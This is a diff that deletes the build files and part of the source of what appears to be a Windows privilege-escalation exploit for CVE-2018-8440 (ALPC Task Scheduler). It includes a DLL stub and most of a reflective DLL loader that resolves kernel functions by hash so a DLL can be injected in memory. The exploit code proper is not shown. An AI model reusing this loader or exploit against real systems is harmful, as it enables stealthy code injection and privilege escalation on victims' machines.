<ClCompile Include="src\ReflectiveDll.c" />
|
||||
<ClCompile Include="src\ReflectiveLoader.c" />
|
||||
<ClCompile Include="src\rpc_c.c" />
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
|
||||
<RootNamespace>reflective_dll</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
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|
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
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|
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|
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
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<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
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|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
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||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v120</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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||||
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|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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||||
<ImportGroup Label="ExtensionSettings">
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||||
</ImportGroup>
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<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
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||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
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||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
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||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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||||
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<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||
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|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<OutDir>..\..\..\..\..\data\exploits\CVE-2018-8440</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<TargetName>ALPC_TaskSched</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<BufferSecurityCheck>true</BufferSecurityCheck>
|
||||
<CompileAs>Default</CompileAs>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
|
|
@ -1,53 +0,0 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\ReflectiveLoader.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\exploit.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\ntimports.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\rpc_h.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\typed_buffer.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\resource.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\ReflectiveDll.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="src\ReflectiveLoader.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="src\Exploit.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="src\Hardlink.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="src\rpc_c.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
|
|
@ -1,35 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// This is a stub for the actuall functionality of the DLL.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "exploit.h"
|
||||
|
||||
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
|
||||
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
|
||||
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
|
||||
|
||||
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
|
||||
extern HINSTANCE hAppInstance;
|
||||
//===============================================================================================//
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK );
|
||||
testFunc();
|
||||
//RunIt((void*)hAppInstance);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
|
@ -1,598 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _ReturnAddress )
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
|
||||
//===============================================================================================//
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
|
||||
#else /* ENABLE_OUTPUTDEBUGSTRING */
|
||||
#define OUTPUTDBG(str) do{}while(0)
|
||||
#endif
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||
#else
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
VIRTUALLOCK pVirtualLock = NULL;
|
||||
#endif
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
OUTPUTDEBUG pOutputDebug = NULL;
|
||||
#endif
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while( TRUE )
|
||||
{
|
||||
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef _WIN64
|
||||
uiBaseAddress = __readgsqword( 0x60 );
|
||||
#else
|
||||
#ifdef WIN_ARM
|
||||
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
|
||||
#else _WIN32
|
||||
uiBaseAddress = __readfsdword( 0x30 );
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while( uiValueA )
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror( (DWORD)uiValueC );
|
||||
// normalize to uppercase if the module name is in lowercase
|
||||
if( *((BYTE *)uiValueB) >= 'a' )
|
||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE *)uiValueB);
|
||||
uiValueB++;
|
||||
} while( --usCounter );
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 3;
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
usCounter++;
|
||||
#endif
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
usCounter++;
|
||||
#endif
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH
|
||||
|| dwHashValue == GETPROCADDRESS_HASH
|
||||
|| dwHashValue == VIRTUALALLOC_HASH
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
|| dwHashValue == VIRTUALLOCK_HASH
|
||||
#endif
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
|| dwHashValue == OUTPUTDEBUG_HASH
|
||||
#endif
|
||||
)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == LOADLIBRARYA_HASH )
|
||||
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
else if( dwHashValue == VIRTUALLOCK_HASH )
|
||||
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
#endif
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
else if( dwHashValue == OUTPUTDEBUG_HASH )
|
||||
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
#endif
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
